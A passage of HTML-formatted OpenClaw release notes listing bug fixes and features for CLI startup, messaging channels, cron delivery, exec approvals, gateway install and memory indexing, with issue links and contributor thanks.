<li>CLI/startup: read generated startup metadata from the bundled <code>dist</code> layout before falling back to live help rendering, so root/browser help and channel-option bootstrap stay on the fast path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Feishu/Lark: stop treating broadcast-only <code>@all</code>/<code>@_all</code> messages as bot mentions while preserving direct bot mentions, including messages that also include <code>@all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033693984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/37706" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/37706/hovercard" href="https://github.com/openclaw/openclaw/issues/37706">#37706</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JosepLee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JosepLee">@JosepLee</a>.</li>
<li>CLI/help: treat positional <code>help</code> invocations like <code>openclaw channels help</code> as help paths for startup gating, avoiding model/auth warmup while preserving positional arguments such as <code>openclaw docs help</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumadeiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumadeiras">@gumadeiras</a>.</li>
<li>Web search: route plugin-scoped web_search SecretRefs through the active runtime config snapshot so provider execution receives resolved credentials across app/runtime paths, including <code>plugins.entries.brave.config.webSearch.apiKey</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289130983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68690" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68690/hovercard" href="https://github.com/openclaw/openclaw/issues/68690">#68690</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Voice Call: allow SecretRef-backed Twilio auth tokens and call-specific OpenAI/ElevenLabs TTS API keys through the plugin config surface. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289130983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68690" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68690/hovercard" href="https://github.com/openclaw/openclaw/issues/68690">#68690</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Google Meet/Voice Call: clean stale chrome-node realtime bridges before rejoining, expose bridge inspection, tolerate transient node input pull failures, default Chrome command-pair audio to 24 kHz PCM16 while preserving legacy 8 kHz G.711 mu-law pairs, handle Gemini Live interruptions/VAD and function-response names correctly, route stateful <code>google_meet</code> tools through the gateway runtime, support <code>realtime.agentId</code>, and send non-blocking consult continuations before long tool-backed answers finish. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332050444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72371" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72371/hovercard" href="https://github.com/openclaw/openclaw/issues/72371">#72371</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332743811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72525" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72525/hovercard" href="https://github.com/openclaw/openclaw/issues/72525">#72525</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332742867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72523/hovercard" href="https://github.com/openclaw/openclaw/issues/72523">#72523</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332383464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72440" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72440/hovercard" href="https://github.com/openclaw/openclaw/issues/72440">#72440</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332290261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72425" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72425/hovercard" href="https://github.com/openclaw/openclaw/issues/72425">#72425</a>; (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332050745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72372/hovercard" href="https://github.com/openclaw/openclaw/pull/72372">#72372</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332743254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72524" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72524/hovercard" href="https://github.com/openclaw/openclaw/pull/72524">#72524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332097646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72381/hovercard" href="https://github.com/openclaw/openclaw/pull/72381">#72381</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332388165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72441" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72441/hovercard" href="https://github.com/openclaw/openclaw/pull/72441">#72441</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330987894" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72189/hovercard" href="https://github.com/openclaw/openclaw/pull/72189">#72189</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332290401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72426/hovercard" href="https://github.com/openclaw/openclaw/pull/72426">#72426</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BsnizND/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BsnizND">@BsnizND</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Discord/media: keep incidental Markdown image badges in final replies as text unless a channel opts into Markdown-image media extraction, while preserving Telegram Markdown-image media replies and explicit <code>MEDIA:</code> attachments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333512243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72642" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72642/hovercard" href="https://github.com/openclaw/openclaw/issues/72642">#72642</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solavrc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solavrc">@solavrc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</li>
<li>Matrix/E2EE: stabilize recovery and broken-device QA flows while avoiding Matrix device-cleanup sync races that could leave shutdown-time crypto work running. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumadeiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumadeiras">@gumadeiras</a>.</li>
<li>Cron: apply <code>cron.maxConcurrentRuns</code> to the nested isolated-agent lane, start isolated execution timeouts only after the runner enters that lane, keep legacy flat <code>jobs.json</code> rows loadable, invalidate stale pending runtime slots after schedule edits, and preserve due slots for formatting-only rewrites. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334195587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72707" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72707/hovercard" href="https://github.com/openclaw/openclaw/issues/72707">#72707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3998171451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27996" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/27996/hovercard" href="https://github.com/openclaw/openclaw/issues/27996">#27996</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328262576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71607/hovercard" href="https://github.com/openclaw/openclaw/issues/71607">#71607</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049490726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41783/hovercard" href="https://github.com/openclaw/openclaw/issues/41783">#41783</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328629024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71651" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71651/hovercard" href="https://github.com/openclaw/openclaw/pull/71651">#71651</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fagnersouza666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fagnersouza666">@fagnersouza666</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayanesakura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayanesakura">@ayanesakura</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hurray0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hurray0">@Hurray0</a>.</li>
<li>Cron/delivery: classify isolated successes, quiet <code>NO_REPLY</code> turns, model/provider failures, execution denials, <code>--no-deliver</code> traces, skipped-job alerts, and verified delivery outcomes correctly so cron history, retries, and failure counters reflect what actually happened. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334620088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72732" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72732/hovercard" href="https://github.com/openclaw/openclaw/issues/72732">#72732</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099027844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50170/hovercard" href="https://github.com/openclaw/openclaw/issues/50170">#50170</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4061722670" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43604/hovercard" href="https://github.com/openclaw/openclaw/issues/43604">#43604</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4287182300" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68452" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68452/hovercard" href="https://github.com/openclaw/openclaw/issues/68452">#68452</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204696109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60846" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60846/hovercard" href="https://github.com/openclaw/openclaw/issues/60846">#60846</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331088054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72210" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72210/hovercard" href="https://github.com/openclaw/openclaw/issues/72210">#72210</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268858101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67172" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67172/hovercard" href="https://github.com/openclaw/openclaw/issues/67172">#67172</a>; follow-up to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4132019195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54188" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54188/hovercard" href="https://github.com/openclaw/openclaw/issues/54188">#54188</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4061845058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43631/hovercard" href="https://github.com/openclaw/openclaw/pull/43631">#43631</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4287182726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68453/hovercard" href="https://github.com/openclaw/openclaw/pull/68453">#68453</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331130608" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72219/hovercard" href="https://github.com/openclaw/openclaw/pull/72219">#72219</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269089318" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67186" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67186/hovercard" href="https://github.com/openclaw/openclaw/pull/67186">#67186</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zNatix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zNatix">@zNatix</a>, @pixeldyn, @ChickenEggRoll, @SPFAdvisors, @anyech, @slideshow-dingo, @hatemclawbot-collab, @xydigit-sj, @oc-gh-dr, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Cron/routing: preserve direct Telegram thread/account IDs, explicit Discord <code>user:</code>/<code>channel:</code> delivery targets, and <code>session:&lt;id&gt;</code> failure-destination routing so reminders, cron announcements, and failure alerts keep the intended recipient kind across direct and group chats. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066185841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44270" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44270/hovercard" href="https://github.com/openclaw/openclaw/issues/44270">#44270</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221312754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62777/hovercard" href="https://github.com/openclaw/openclaw/issues/62777">#62777</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066608008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44325" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44325/hovercard" href="https://github.com/openclaw/openclaw/pull/44325">#44325</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066877751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44351/hovercard" href="https://github.com/openclaw/openclaw/pull/44351">#44351</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067595953" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44412" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44412/hovercard" href="https://github.com/openclaw/openclaw/pull/44412">#44412</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333658933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72657" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72657/hovercard" href="https://github.com/openclaw/openclaw/pull/72657">#72657</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4287884114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68535" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68535/hovercard" href="https://github.com/openclaw/openclaw/pull/68535">#68535</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221461201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62798/hovercard" href="https://github.com/openclaw/openclaw/pull/62798">#62798</a>. Thanks @RunMintOn, @arkyu2077, @0xsline, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, @slideshow-dingo, @likewen-tech, and @neeravmakwana.</li>
<li>Subagents: keep the delegated task only in the subagent system prompt and send a short initial kickoff message, avoiding duplicate task tokens while preserving multiline task formatting. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330266987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72019/hovercard" href="https://github.com/openclaw/openclaw/issues/72019">#72019</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330403858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72053" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72053/hovercard" href="https://github.com/openclaw/openclaw/pull/72053">#72053</a>. Thanks @Wizongod and @ly85206559.</li>
<li>Onboarding/GitHub Copilot: add manifest-owned <code>--github-copilot-token</code> support for non-interactive setup, including env fallback, tokenRef storage in ref mode, saved-profile reuse, and current Copilot default-model wiring. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4097444746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50002" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50002/hovercard" href="https://github.com/openclaw/openclaw/issues/50002">#50002</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4097445479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50003/hovercard" href="https://github.com/openclaw/openclaw/pull/50003">#50003</a>. Thanks @scottgl9.</li>
<li>Gateway/install: add a validated <code>--wrapper</code>/<code>OPENCLAW_WRAPPER</code> service install path that persists executable LaunchAgent/systemd wrappers across forced reinstalls, updates, and doctor repairs instead of falling back to raw node/bun <code>ProgramArguments</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297397474" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69400/hovercard" href="https://github.com/openclaw/openclaw/issues/69400">#69400</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332409419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72445/hovercard" href="https://github.com/openclaw/openclaw/pull/72445">#72445</a>) Thanks @willtmc.</li>
<li>Plugins: fail plugin registration when loader-owned acceptance gates reject missing hook names or memory-only capability registration from non-memory plugins, surfacing the issue through plugin status and doctor instead of silently dropping the registration. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332435276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72459" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72459/hovercard" href="https://github.com/openclaw/openclaw/issues/72459">#72459</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>macOS Gateway: write launchd services with a state-dir <code>WorkingDirectory</code>, use a durable state-dir temp path instead of freezing macOS session <code>TMPDIR</code>, create that temp directory before bootstrap, and label abort-shaped launchd exits as <code>SIGABRT/abort</code> in status output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4127640305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53679" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53679/hovercard" href="https://github.com/openclaw/openclaw/issues/53679">#53679</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4309815603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70223" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70223/hovercard" href="https://github.com/openclaw/openclaw/issues/70223">#70223</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329643796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71848/hovercard" href="https://github.com/openclaw/openclaw/issues/71848">#71848</a>. Thanks @dlturock, @stammi922, and @palladius.</li>
<li>Control UI/update: make <code>Update now</code> require a real gateway process replacement, report skipped/error update outcomes with stable reasons, and verify the running gateway version after restart so global installs cannot silently keep old code in memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217678354" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62492/hovercard" href="https://github.com/openclaw/openclaw/issues/62492">#62492</a>; addresses <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245063393" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64892/hovercard" href="https://github.com/openclaw/openclaw/issues/64892">#64892</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4229612858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63562/hovercard" href="https://github.com/openclaw/openclaw/issues/63562">#63562</a>. Thanks @IAMSamuelRodda.</li>
<li>Exec approvals: accept runtime-owned <code>source: "allow-always"</code> and <code>commandText</code> allowlist metadata in gateway and node approval-set payloads so Control UI round-trips no longer fail with <code>unexpected property 'source'</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197832508" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60000" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60000/hovercard" href="https://github.com/openclaw/openclaw/issues/60000">#60000</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4198205333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60064/hovercard" href="https://github.com/openclaw/openclaw/pull/60064">#60064</a>. Thanks @sd1471123, @sharkqwy, and @luoyanglang.</li>
<li>Exec/node: skip approval-plan preparation for full-trust <code>host=node</code> runs so interpreter and script commands no longer fail with <code>SYSTEM_RUN_DENIED: approval cannot safely bind</code> when effective policy is <code>security=full</code> and <code>ask=off</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084375630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48457" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48457/hovercard" href="https://github.com/openclaw/openclaw/issues/48457">#48457</a> and duplicate <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293866252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69251" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69251/hovercard" href="https://github.com/openclaw/openclaw/issues/69251">#69251</a>. Thanks @ajtran303, @jaserNo1, @Blakeshannon, @lesliefag, and @AvIsBeastMC.</li>
<li>Exec/node: synthesize a local approval plan when a paired node advertises <code>system.run</code> without <code>system.run.prepare</code>, unblocking approval-required <code>host=node</code> exec on current macOS companion nodes while preserving remote prepare for node hosts that support it. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033313008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/37591" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/37591/hovercard" href="https://github.com/openclaw/openclaw/issues/37591">#37591</a> and duplicate <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265048569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66839" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66839/hovercard" href="https://github.com/openclaw/openclaw/issues/66839">#66839</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303037278" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69725" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69725/hovercard" href="https://github.com/openclaw/openclaw/pull/69725">#69725</a>. Thanks @soloclz.</li>
<li>Memory/QMD: prefer QMD's <code>--mask</code> collection pattern flag so root memory indexing stays scoped to <code>MEMORY.md</code> instead of widening to every markdown file in the workspace. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249056416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65480/hovercard" href="https://github.com/openclaw/openclaw/issues/65480">#65480</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249056746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65481" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65481/hovercard" href="https://github.com/openclaw/openclaw/pull/65481">#65481</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258914603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66259" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66259/hovercard" href="https://github.com/openclaw/openclaw/pull/66259">#66259</a>. Thanks @ccage-simp, @Bortlesboat, @seank-com, and @crazyscience.</li>
<li>Memory/doctor: treat the specific <code>gateway timeout after ...</code> gateway memory probe result as inconclusive instead of reporting embeddings not ready, while preserving warnings for explicit failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067725204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44426/hovercard" href="https://github.com/openclaw/openclaw/issues/44426">#44426</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076741219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46576" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46576/hovercard" href="https://github.com/openclaw/openclaw/pull/46576">#46576</a> with the Greptile review feedback applied. Thanks Cengiz (@ghost).</li>
<li>Gateway/startup: defer QMD, core request handlers, setup wizard, CLI outbound senders, plugin HTTP routes, chat/session projection, node session runtime validation, embedded-run activity reads, MCP loopback server imports, channel runtime helpers, HTTP/canvas/plugin auth helpers, isolated cron imports, and hook dispatch parsing until their request or shutdown paths, while making plain <code>gateway status</code> use a parse-only config snapshot so no-plugin boots and status reads avoid broad runtime fanout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
